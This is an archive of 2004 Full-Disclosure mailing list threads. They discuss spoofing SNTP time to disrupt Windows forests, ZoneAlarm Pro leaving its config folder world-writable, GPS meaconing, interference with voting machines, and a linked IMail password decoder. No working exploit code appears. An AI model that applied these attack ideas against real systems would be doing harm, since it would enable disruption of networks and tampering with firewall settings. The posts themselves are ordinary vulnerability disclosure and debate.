[Full-Disclosure] Fwd: Re: FullDisclosure: Security aspects of time synchronization infrastructure
--This is a forwarded message From: Robert Brown [EMAIL PROTECTED] To: [EMAIL PROTECTED] [EMAIL PROTECTED] Date: Friday, August 20, 2004, 7:34:40 AM Subject: FullDisclosure: Security aspects of time synchronization infrastructure ===8==Original message text=== NB: I do not have membership in FullDisclosure mailing list; I only read web archives. If you desire, you may echo this message to the list. :-) In your paper at: http://www.security.nnov.ru/advisories/timesync.asp you state: If there is a host with reliable time on the network (that is host synchronized with some hardware source, like radio clocks, cesium clocks, GPS clocks, etc) - whole network will be finally, after some time, synchronized with this host. Depending upon the criticality of the time sensitive applications on the network, you might want to reconsider the use of radio clocks and especially GPS clocks. These time sources are also subject to attacks. Any free air broadcast is subject to jamming. This is essentially a DoS. Spoofing to provide incorrect time signal is also possible with free air broadcast, but less easy to do. Furthermore, in this age of global military instability, there is alway the possibility of tinkering with GPS signals -- especially the time base -- for the purpose of preventing uninformed receivers getting correct time or position information. In particular, meakoning is likely to be used with navigational services to deliberately mis-guide a vehicle and cause it to follow a trajectory of the choosing of the GPS signal controlling force, instead of the intended trajectory of the pilot of that vehicle -- human or autonomous. This is reason why military vehicles augment GPS navigation with inertial navigation and other means, including Kalman filtering to establish optimal point statistic for position and time by combining all available positioning sources. Meaconing may also be done with LORAN and OMEGA navigation signales as well. Inertial navigation is only completely self-contained positioning mechanism. For these reasons, in certain applications, the time source should only be one that is self contained and under the complete control of the network administrator or owner. It is not always necessary for a network to be synchronized to external world time; some applications only require that all the nodes on the network be synchronized to each other. In a case like this, there can be certain advantage to deliberately running the entire network at a time out of sync with the rest of the world, as this can add immunity to attack. How accurate your time needs to be, in terms of the frequency accuracy and precision of the time base, is a function of the time sensitive applications running on that network, and many such applications do not necessarily require cesium quality time base; quartz is perfectly adequate for many uses. Line frequency clocks should be avoided unless line frequency is under local control -- such as is the case when you generate your own power, as on board a vehicle such as a ship or aircraft. -- And there came a writing to him from Elijah [2Ch 21:12] R. J. Brown III [EMAIL PROTECTED] http://www.elilabs.com/~rj voice 859 567-7311 Elijah Laboratories Inc.P. O. Box 166, Warsaw KY 41095fax 859 567-7311 - M o d e l i n g t h e M e t h o d s o f t h e M i n d -- ===8===End of original message text=== -- ~/ZARAZA - ! () ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re[2]: [Full-Disclosure] Security aspects of time synchronization infrastructure
Dear joe, --Friday, August 20, 2004, 2:59:06 AM, you wrote to [EMAIL PROTECTED]: j If network is configured in accordance to these recommendations it's j possible to bring whole Windows 2003 forest down with a single UDP j packet. j What is your line of reasoning here? In a properly configured forest, all j machines will take their time from their default time source and not from a j preconfigured machine as you outlined. If the time on the PDC emulator of j the forest is spanked into a new value, either the other machines will be j unable to sync with it due to not being able to authenticate with it or the Time synchronisation doesn't require authentication, at least it looks like packets are only signed with computer key. That's why it's still possible to change time across all forest with a single packet, if one of the forest's reliable time sources or PDC emulator in root domain use external SNTP server. Before Windows 2000 SP4 it was possible to set date far in future (for example to 2038). Locked accounts, expired certificates in addition to problem 2038 (Jan, 19 2038 is maximum date value for 32 bit time_t timestamp used in many C compilers). But setting date 12 hours in future or 12 hours in past still can produce a lot of harm. -- ~/ZARAZA , . () ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re[3]: [Full-Disclosure] Security aspects of time synchronization infrastructure
Dear 3APA3A, --Friday, August 20, 2004, 10:21:51 AM, you wrote to [EMAIL PROTECTED]: 3 Before Windows 2000 SP4 it was possible to set date far in future (for 3 example to 2038). Locked accounts, expired certificates in addition to 3 problem 2038 (Jan, 19 2038 is maximum date value for 32 bit time_t 3 timestamp used in many C compilers). But setting date 12 hours in future 3 or 12 hours in past still can produce a lot of harm. Minor correction: because SNTP uses different timestamp format it's not possible to set date behind 2036. But it's not so important. -- ~/ZARAZA - . , . () ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Yahoo mail defacement?
Did anyone else notice that? I saw only "do you yahoo?" when I visited http://mail.yahoo.comthis mroning. Now it seems OK. Also, when I visited through http://www.yahoo.com by following the Mail link, it turned out to be OK, even when mail.yahoo.com was coming up defaced. RegardsMuhammad Saqib IlyasAssistant ProfessorDepartment of Computer and Information Systems EngineeringNED University of Engineering and Technology, Karachi, Pakistan ALL-NEW Yahoo! Messenger - all new features - even more fun!
RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 There is absolutely no security issue here. ZoneAlarm does not rely on file permissions to protect any configuration files. Configuration files are protected by our TrueVector(r) driver in the kernel. In addition to protecting configuration files against unauthorized changes, there are additional integrity checks and other protection mechanisms implemented for all policy configuration files. Should any policy configuration files fail integrity checks, the firewall will fail closed. Again, no issue. - -- John LaCour Security Services Group Manager Zone Labs LLC, A Check Point Company From: bipin gautam [mailto:[EMAIL PROTECTED] Sent: Thursday, August 19, 2004 7:51 PM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. Hello list, Zone Alarm stores its config. files in %windir%\Internet Logs\* . But strangely, ZoneAlarm sets the folder/file permission (NTFS) of %windir%\Internet Logs\* to, EVERYONE: Full after its first started. Even If you try to change the permission to... Administrator (s): full system: full users: read and execute [these are the default permissions] Strangely, the permission again changes back to... EVERYONE: Full each time ZoneAlarm Pro (ZAP) is started. I've tested these in zap 4.x and 5.x This could prove harmful if we have a malicious program/user running with even with a user privilege on the system. Well a malicious program could modify those config file in a way ZAP will stop [snip] Bipin Gautam -BEGIN PGP SIGNATURE- Version: PGP 8.0.2 iQA/AwUBQSXVCqeZbSyAsADEEQK9fgCeLLipKBn3Z7+PYj1E6GXkT0lubIgAnjCY ssK9UOJxQn98yj/5x+tWiPzw =OdxT -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Yahoo mail defacement?
On 8/20/2004 10:07 AM +0200, Saqib Ilyas wrote: Did anyone else notice that? I saw only do you yahoo? when I visited http://mail.yahoo.com this mroning. Now it seems OK. Also, when I visited through http://www.yahoo.com by following the Mail link, it turned out to be OK, even when mail.yahoo.com was coming up defaced. Regards http://lists.netsys.com/pipermail/full-disclosure/2004-August/025510.html Regards, Niek ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Yahoo mail defacement?
Please read yesterdays thread on mail.yahoo.com issue which basically concludes that this behaviour is normal load balancing behaviour. Don't worry no one is hacking your Yahoo!.for now. Barrie On Fri, 2004-08-20 at 09:07, Saqib Ilyas wrote: Did anyone else notice that? I saw only do you yahoo? when I visited http://mail.yahoo.com this mroning. Now it seems OK. Also, when I visited through http://www.yahoo.com by following the Mail link, it turned out to be OK, even when mail.yahoo.com was coming up defaced. Regards Muhammad Saqib Ilyas Assistant Professor Department of Computer and Information Systems Engineering NED University of Engineering and Technology, Karachi, Pakistan __ ALL-NEW Yahoo! Messenger - all new features - even more fun! -- /* http://www.bsrf.org.uk gpg --recv-keys --keyserver www.keyserver.net 0xD82BDB6F */ signature.asc Description: This is a digitally signed message part
Re: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
On Friday 20 August 2004 12:40, John LaCour wrote: There is absolutely no security issue here. ZoneAlarm does not rely on file permissions to protect any configuration files. Configuration files are protected by our TrueVector(r) driver in the kernel. Which is, of course, completely utterly infallible so any additional means are not only unneccessary, but even unwanted. In addition to protecting configuration files against unauthorized changes, there are additional integrity checks and other protection mechanisms implemented for all policy configuration files. Should any policy configuration files fail integrity checks, the firewall will fail closed. So effectively, you're unlocking the car doors because it is equipped with a series of alarmsystems. And even if the owner locks the car doors manually, upon activation, the alarm system unlocks them again ? Again, no issue. You must have a screw loose somewhere. Seriously. Maarten ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: RE: [Full-Disclosure] Electronic Voting Machines - WinVote by Adv anced Voting Solutions
Of course the power ranges you quote are also illegal, not to mention extremely dangerous. On Thu, 19 Aug 2004 10:21:49 -0500, Michael Williamson [EMAIL PROTECTED] wrote: Using 802.11 for anything remotely critical is outright STUPID. FCC regulations are such that these part 15 devices (802.11, cordless phones, baby monitors) have no legal protection from interference from licensed services (amateur radio, TV stations, etc). If I'm running a high powered (10-100 watt) maybe signal at 2.4 ghz for amateur radio TV and happen to be living across the street from an election center, they're basically screwed. As a matter a fact, if their 802.11 is interfering with my licensed operation, it is they who must shut down. -Michael Without even commenting on the security of WEP, it seems to me that a massive DDOS attack against the voting machines could prevent vote tallies from being counted in a timely manner. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
Sounds like it about as easy to shutdown as Microsoft's SP2 firewall... Overwrite a file, it fails integrity checks and the firewall will fail closed. There is something to add to a dropper program. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Maarten Sent: Friday, August 20, 2004 7:54 AM To: [EMAIL PROTECTED] Subject: Re: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. On Friday 20 August 2004 12:40, John LaCour wrote: There is absolutely no security issue here. ZoneAlarm does not rely on file permissions to protect any configuration files. Configuration files are protected by our TrueVector(r) driver in the kernel. Which is, of course, completely utterly infallible so any additional means are not only unneccessary, but even unwanted. In addition to protecting configuration files against unauthorized changes, there are additional integrity checks and other protection mechanisms implemented for all policy configuration files. Should any policy configuration files fail integrity checks, the firewall will fail closed. So effectively, you're unlocking the car doors because it is equipped with a series of alarmsystems. And even if the owner locks the car doors manually, upon activation, the alarm system unlocks them again ? Again, no issue. You must have a screw loose somewhere. Seriously. Maarten ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
Surely though, if a user chose to open file and printer sharing over the network for any parent directory, it is possible that a remote user can very easily do damage to ZAP, at the very least shutting it down, at worst reconfiguring it. There is absolutely no good reason I can envisage why you would need to set these permissions like this. Another security flaw relevant to this is the fact that many system administrators of larger networks very carefully lock down file and folder permissions on common system areas to help prevent users from leaving new programs on the local system. This helps defend against application scheduler attacks and the like. If you cant leave files on the local system then you can't run anything after you log off. From now on, I will use this folder to produce exploits against ZAP, if you wish to stop this from being done and publicised I strongly recommend you consider hardening this security setting. There are plenty of methods of accessing this folder with elevated privileges than everyone or anonymous, especially when most of your application runs as a system process. Please refrain from forgetting that it is not just your configuration files that you have opened up here, it is an entire folder. Folder customisation based exploits could also be used, for example the folder could be opened in a new window (allowed by many systems, can be done with macro's, IE, mails, whatever). If the folder was customised in the right way, this could formulate the run time vector of a major exploit. While I have not extensively tested your TrueVector kernel, it is unlikely that it can protect against every conceivable unknown threat, as such for a security company your above message seems a little naive. And finally, please tell me what TrueVector is capable of doing if the malicious code (possibly running over SMB to a local file share) were to use its full permissions to change ownership on the directory and set DENY permissions to any user accounts / system accounts used by ZAP? Do you have the ability to exploit NTFS permissions and re-set them as required? If not, then after this has been done your firewall will fail closed on every subsequent boot. How is an end-user to recover from this problem? These are just my initial thoughts on this matter, and the real dangers could be far more sophisticated if we think more creatively (and spend more than 3 minutes on the issue). Given that there is no reason not to fix this, please fix it. If it will take a proven exploit before you fix it then one will have to be produced. On Fri, 20 Aug 2004 03:40:11 -0700, John LaCour [EMAIL PROTECTED] wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 There is absolutely no security issue here. ZoneAlarm does not rely on file permissions to protect any configuration files. Configuration files are protected by our TrueVector(r) driver in the kernel. In addition to protecting configuration files against unauthorized changes, there are additional integrity checks and other protection mechanisms implemented for all policy configuration files. Should any policy configuration files fail integrity checks, the firewall will fail closed. Again, no issue. - -- John LaCour Security Services Group Manager Zone Labs LLC, A Check Point Company From: bipin gautam [mailto:[EMAIL PROTECTED] Sent: Thursday, August 19, 2004 7:51 PM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. Hello list, Zone Alarm stores its config. files in %windir%\Internet Logs\* . But strangely, ZoneAlarm sets the folder/file permission (NTFS) of %windir%\Internet Logs\* to, EVERYONE: Full after its first started. Even If you try to change the permission to... Administrator (s): full system: full users: read and execute [these are the default permissions] Strangely, the permission again changes back to... EVERYONE: Full each time ZoneAlarm Pro (ZAP) is started. I've tested these in zap 4.x and 5.x This could prove harmful if we have a malicious program/user running with even with a user privilege on the system. Well a malicious program could modify those config file in a way ZAP will stop [snip] Bipin Gautam -BEGIN PGP SIGNATURE- Version: PGP 8.0.2 iQA/AwUBQSXVCqeZbSyAsADEEQK9fgCeLLipKBn3Z7+PYj1E6GXkT0lubIgAnjCY ssK9UOJxQn98yj/5x+tWiPzw =OdxT -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
On Friday 20 August 2004 12:40, John LaCour wrote: There is absolutely no security issue here. ZoneAlarm does not rely on file permissions to protect any configuration files. Configuration files are protected by our TrueVector(r) driver in the kernel. Which is, of course, completely utterly infallible so any additional means are not only unneccessary, but even unwanted. In my part of globe, 90% of dialup users just turn on zone alarm pro. JUST before connecting to the internet... cauz its too annoying cauz zap pop's up with bla...bla...bla quit often and use resources etc... bipin __ Do you Yahoo!? Yahoo! Mail is new and improved - Check it out! http://promotions.yahoo.com/new_mail ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] The 'good worm' from HP
This is cute... http://p2pnet.net/story/2182 -KF ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind
Glenn: Not to take issue with the performance of encryption, but what good is performance when it's all spent processing spam, malware, trojans, spyware and all the other cr*p that downloads. Even things like spybot, zone alarm etc. do not prevent any of the junk that gets loaded thru mail and port 80, plus any other vulnerabilities that continually open up. I would gladly take performance hits for reliability and the end of endless spam, vuls, and spyware that constantly attach to my clients as well as myself. Anyone in the real world knows how impossible it is to totally lock down a large commercial network. To do business you need to open at least one window to the hellish nightmare of the internet. Plus router, firewall, switch, modem, atm endless list of vulnerable systems... It is a never ending battle, and for the most part the white Hats are losing. So what is the alternative? Go to a totally secure network computing system like the military? It seems we may have no choice. Jan Clairmont Firewall Administrator/Consultant (302) 323-3616 -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Sent: Thursday, August 19, 2004 10:53 AM To: Clairmont, Jan M Subject: RE: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind Encryption is one scheme that gives access control. It is one of the more expensive alternatives out there for this, and people using it often get the key management wrong and vitiate their entire efforts while sweeping the problems under the rug. When I invented the cryptodisk back in the late 70s I noticed the first version (using a DES algorithm) would allow the processor either to be doing useful work, or encrypting/decrypting disk. I therefore added a much weaker but faster algorithm as an alternative (for more benign environments) that at least permitted both. Machines today are much more capable, but overdone encryption is still capable of eating serious amounts of their performance. Glenn Everhart -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Clairmont, Jan M Sent: Wednesday, August 18, 2004 2:01 PM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind M$ should just bite the bullet and re-write windows with security in mind, give it a true process scheduler, multi-user with windows as a client server processes. Build in 256 bit encryption and secure communications between processes and external communication with no unencrypted traffic. That would shut down a lot of these mindless security leaks. All mail should be encrypted and point-to-point, with the mail servers only able to re-direct and broadcast mail with authentication. Maybe we could slow a lot of the hacking down and spam. But again until the market place demands it M$, Linux and everybody else it's business as usual. Keeps us employed I guess. Jan Clairmont Firewall Administrator/Consultant ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ** This transmission may contain information that is privileged, confidential and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. Thank you ** ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: Re[2]: [Full-Disclosure] Security aspects of time synchronization infrastructure
Thanks. So assuming that the time change of a great (epoch date) magnitude could occur [1], it would occur in a fluid way across the entire forest (or at least the MS machines that are part of it). Have you actually tried to change time to some arbitrarily large and incorrect value and see if other machines can sync when it is set that way or is this speculation? Beyond that, time maintained on the Windows machines is not time_t based, it is FILETIME based (64 bit value whichis the number of 100 nanosecond intervals since 1/1/1601) format which should be able to represent any 4 digit year 1601. It can probably go beyond 4 digits but I don't expect any date routines will support a 5 digit year (holy crap - we now have a Y10K issue thanks MS, can't wait to have to deal with that one). Now that I see where you are going in terms of a vast major change to epoch ending, assuming the time change would sync across the forest I would guess that you could have a breakdown in kerberos if you somehow pushed the date beyond time_t capabilities but that is a guess. I am not sure how kerberos time is represented in the kerberos internals, are you aware of that format? Is it time_t? I would say that would be the main thing that could prompt you to say that the forest would be down. I would expect local logons to domain controllers by admins would still work (though they would probably have to change their password while logging on), the overall functionality of the environment would be unavailable - but again, this assumes kerberos stops working. Also I would guess various and sundry apps (or services) would possibly do odd things based on how they internally needed and used time. I would guess the event logs might be a little hokey for some apps. Accounts would lock if something was automatically sending the now bad passwords and not responding to the password has expired message (this assumes kerberos is working at all though which means the forest is actually up). This would impact mostly service accounts I would guess as well as network/application connections for people who were currently logged in. I really don't see why you feel a 12 hour change would hurt that much other than forcing an early refresh on kerb tickets. Do you have more detail on your thoughts on that? Specifics. So besides getting to a point where kerberos breaks due to how the time is structured in kerberos I don't see a forest that is down. If the time changed exceeded your tombstone period AND synced properly I could see replication stopping due to the delta from the last replication and not wanting to corrupt with possible bad data (i.e. lingering/revived objects). However the forest would be up and functioning in terms of authentication, you would just have to get the time corrected so replication kicks back in - which if it allowed the change in the first, place the change in the second place should be pretty easy. Anyway, I don't know how much of this I would push as an issue without actually testing to see what would happen. If the date was able to be pushed far enough, it could be painful, if kerberos is time_t based, then it could break. I would suggest working that out specifically. If you can actually force a bad date into the PDC emulator of the forest (and I am not arguing this point, I don't know enough about it), will it sync to the rest of the forest? And if so, can the date change be enough to break kerberos? I think in order to call the forest down, you would have to break either name resolution or authentication. I don't see name resolution breaking here, so you focus on authentication which would fall on kerberos. joe [1] I am still not entirely confident would occur, I think the downstreams would reject the time source but have no solid testing to prove this. -Original Message- From: 3APA3A [mailto:[EMAIL PROTECTED] Sent: Friday, August 20, 2004 2:22 AM To: joe Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re[2]: [Full-Disclosure] Security aspects of time synchronization infrastructure Dear joe, --Friday, August 20, 2004, 2:59:06 AM, you wrote to [EMAIL PROTECTED]: j If network is configured in accordance to these recommendations it's j possible to bring whole Windows 2003 forest down with a single UDP j packet. j What is your line of reasoning here? In a properly configured forest, j all machines will take their time from their default time source and j not from a preconfigured machine as you outlined. If the time on the j PDC emulator of the forest is spanked into a new value, either the j other machines will be unable to sync with it due to not being able j to authenticate with it or the Time synchronisation doesn't require authentication, at least it looks like packets are only signed with computer key. That's why it's still possible to change time across all forest with a single packet, if one of the forest's reliable time sources or PDC emulator in root domain
RE: [Full-Disclosure] The 'good worm' from HP
Yeah I remember first hearing about that in the Patch Management circles. Does sounds like a good idea. Anyone that has been over patch managemtn can tell you that patches break stuff. Now software will automatically break software with software patches. =) Interesting. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of KF_lists Sent: Friday, August 20, 2004 12:39 PM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] The 'good worm' from HP This is cute... http://p2pnet.net/story/2182 -KF ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: IpSwitch IMail Server = ver 8.1 User Password Decryption
http://www.croftssoftware.com/files/index.php?id=13 About halfway down the page, there's a utility that'll decode them in nanoseconds, called oddly enough, Decode Imail User Passwords. andy On Mon, 16 Aug 2004, Adik wrote: IpSwitch IMail Server version up to 8.1 uses weak encryption algorithm to encrypt its user passwords. Have a look at attached proof of concept tool, which will decrypt user password from local machine instantly. Heck, this isn't even news. It was posted to Bugtraq a while back. Like 1999. This URL details Imail's password scheme for Imail 5.0: http://seclists.org/bugtraq/1999/Dec/0255.html About a year ago, I found that article, and used it to decrypt a few lost email passwords on my Imail 7.15 installation. Given the fact that Imail tries to do just about everything (it does POP3, SMTP, IMAP, LDAP, includes a Web server and makes crispy French fries), this sort of thing is probably bound to stay around for a while. One of the neat things about Imail (other than that it does practically everything) is that it's backwards-compatible. If my Imail 8.1x installation does something weird, I can roll it back to Imail 7.x with maybe fifteen minutes' work. This level of backwards compatibility does lead to weird problems and security issues (q.v. every version of DOS and Windows for about fifteen years). ...dave ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html __ __ __ __ selekta.com ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind
Whitehats are mostly losing. Network administrator that has no sense of security are losing. Are all network open to something? Yep, but you can reduce your risk if you try. No network is safe from hackers 100% and no hacker is safe from the law 100%. We all take our chances - sometimes on both sides... -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Clairmont, Jan M Sent: Friday, August 20, 2004 9:46 AM To: [EMAIL PROTECTED] Subject: RE: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind Glenn: Not to take issue with the performance of encryption, but what good is performance when it's all spent processing spam, malware, trojans, spyware and all the other cr*p that downloads. Even things like spybot, zone alarm etc. do not prevent any of the junk that gets loaded thru mail and port 80, plus any other vulnerabilities that continually open up. I would gladly take performance hits for reliability and the end of endless spam, vuls, and spyware that constantly attach to my clients as well as myself. Anyone in the real world knows how impossible it is to totally lock down a large commercial network. To do business you need to open at least one window to the hellish nightmare of the internet. Plus router, firewall, switch, modem, atm endless list of vulnerable systems... It is a never ending battle, and for the most part the white Hats are losing. So what is the alternative? Go to a totally secure network computing system like the military? It seems we may have no choice. Jan Clairmont Firewall Administrator/Consultant (302) 323-3616 -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Sent: Thursday, August 19, 2004 10:53 AM To: Clairmont, Jan M Subject: RE: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind Encryption is one scheme that gives access control. It is one of the more expensive alternatives out there for this, and people using it often get the key management wrong and vitiate their entire efforts while sweeping the problems under the rug. When I invented the cryptodisk back in the late 70s I noticed the first version (using a DES algorithm) would allow the processor either to be doing useful work, or encrypting/decrypting disk. I therefore added a much weaker but faster algorithm as an alternative (for more benign environments) that at least permitted both. Machines today are much more capable, but overdone encryption is still capable of eating serious amounts of their performance. Glenn Everhart -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Clairmont, Jan M Sent: Wednesday, August 18, 2004 2:01 PM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind M$ should just bite the bullet and re-write windows with security in mind, give it a true process scheduler, multi-user with windows as a client server processes. Build in 256 bit encryption and secure communications between processes and external communication with no unencrypted traffic. That would shut down a lot of these mindless security leaks. All mail should be encrypted and point-to-point, with the mail servers only able to re-direct and broadcast mail with authentication. Maybe we could slow a lot of the hacking down and spam. But again until the market place demands it M$, Linux and everybody else it's business as usual. Keeps us employed I guess. Jan Clairmont Firewall Administrator/Consultant ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ** This transmission may contain information that is privileged, confidential and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. Thank you ** ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
bipin wrote --- --- In my part of globe, 90% of dialup users just turn on --- zone alarm pro. JUST before connecting to the --- internet... cauz its too annoying cauz zap pop's up --- with bla...bla...bla quit often and use resources --- etc... I'm sorry bipin but I'm not sure what you mean hereI sit back after I read this and do nothing but wonder what are you going on about??!!. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Windows Update
Went to windows update last night w/ XP Pro. Redirected to the v5 version. I was asked to install the new Windows Update software...downloaded the WU software...copied the files...then saw registering...kinda thinking that it was checking for a valid registration or license. No updates needed according to WU. XP SP2 is not available via WU for XP Pro yet. Now, I checked the Automatic Update service to see if it was turned back start automatic as I always have it disabled. Yup, it was set to automatic and it was started. I stop and disable automatic update service, and try WU. Get error stating that the automatic update service must be enable to use WU now. Has anybody else head of this? Once again, we must have services that we do not want enable. I can not believe that they are forcing user to turn on the service to use WU. __ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
Sorry John, I was confused between Failing Closed and Failing Open. If integrity checks fail, no traffic is passed. That is better than Microsoft's simple reg disable hack. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of John LaCour Sent: Friday, August 20, 2004 5:40 AM To: bipin gautam; [EMAIL PROTECTED] Cc: Zone Labs Security Team Subject: RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 There is absolutely no security issue here. ZoneAlarm does not rely on file permissions to protect any configuration files. Configuration files are protected by our TrueVector(r) driver in the kernel. In addition to protecting configuration files against unauthorized changes, there are additional integrity checks and other protection mechanisms implemented for all policy configuration files. Should any policy configuration files fail integrity checks, the firewall will fail closed. Again, no issue. - -- John LaCour Security Services Group Manager Zone Labs LLC, A Check Point Company From: bipin gautam [mailto:[EMAIL PROTECTED] Sent: Thursday, August 19, 2004 7:51 PM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. Hello list, Zone Alarm stores its config. files in %windir%\Internet Logs\* . But strangely, ZoneAlarm sets the folder/file permission (NTFS) of %windir%\Internet Logs\* to, EVERYONE: Full after its first started. Even If you try to change the permission to... Administrator (s): full system: full users: read and execute [these are the default permissions] Strangely, the permission again changes back to... EVERYONE: Full each time ZoneAlarm Pro (ZAP) is started. I've tested these in zap 4.x and 5.x This could prove harmful if we have a malicious program/user running with even with a user privilege on the system. Well a malicious program could modify those config file in a way ZAP will stop [snip] Bipin Gautam -BEGIN PGP SIGNATURE- Version: PGP 8.0.2 iQA/AwUBQSXVCqeZbSyAsADEEQK9fgCeLLipKBn3Z7+PYj1E6GXkT0lubIgAnjCY ssK9UOJxQn98yj/5x+tWiPzw =OdxT -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind
Glenn: Not to take issue with the performance of encryption, but what good is performance when it's all spent processing spam, malware, trojans, spyware and all the other cr*p that downloads. Even things like spybot, zone alarm etc. do not prevent any of the junk that gets loaded thru mail and port 80, plus any other vulnerabilities that continually open up. I would gladly take performance hits for reliability and the end of endless spam, vuls, and spyware that constantly attach to my clients as well as myself. Anyone in the real world knows how impossible it is to totally lock down a large commercial network. To do business you need to open at least one window to the hellish nightmare of the internet. Plus router, firewall, switch, modem, atm endless list of vulnerable systems... It is a never ending battle, and for the most part the white Hats are losing. So what is the alternative? Go to a totally secure network computing system like the military? It seems we may have no choice. Jan Clairmont Firewall Administrator/Consultant --Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Sent: Thursday, August 19, 2004 10:53 AM To: Clairmont, Jan M Subject: RE: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind Encryption is one scheme that gives access control. It is one of the more expensive alternatives out there for this, and people using it often get the key management wrong and vitiate their entire efforts while sweeping the problems under the rug. When I invented the cryptodisk back in the late 70s I noticed the first version (using a DES algorithm) would allow the processor either to be doing useful work, or encrypting/decrypting disk. I therefore added a much weaker but faster algorithm as an alternative (for more benign environments) that at least permitted both. Machines today are much more capable, but overdone encryption is still capable of eating serious amounts of their performance. Glenn Everhart -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Clairmont, Jan M Sent: Wednesday, August 18, 2004 2:01 PM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind M$ should just bite the bullet and re-write windows with security in mind, give it a true process scheduler, multi-user with windows as a client server processes. Build in 256 bit encryption and secure communications between processes and external communication with no unencrypted traffic. That would shut down a lot of these mindless security leaks. All mail should be encrypted and 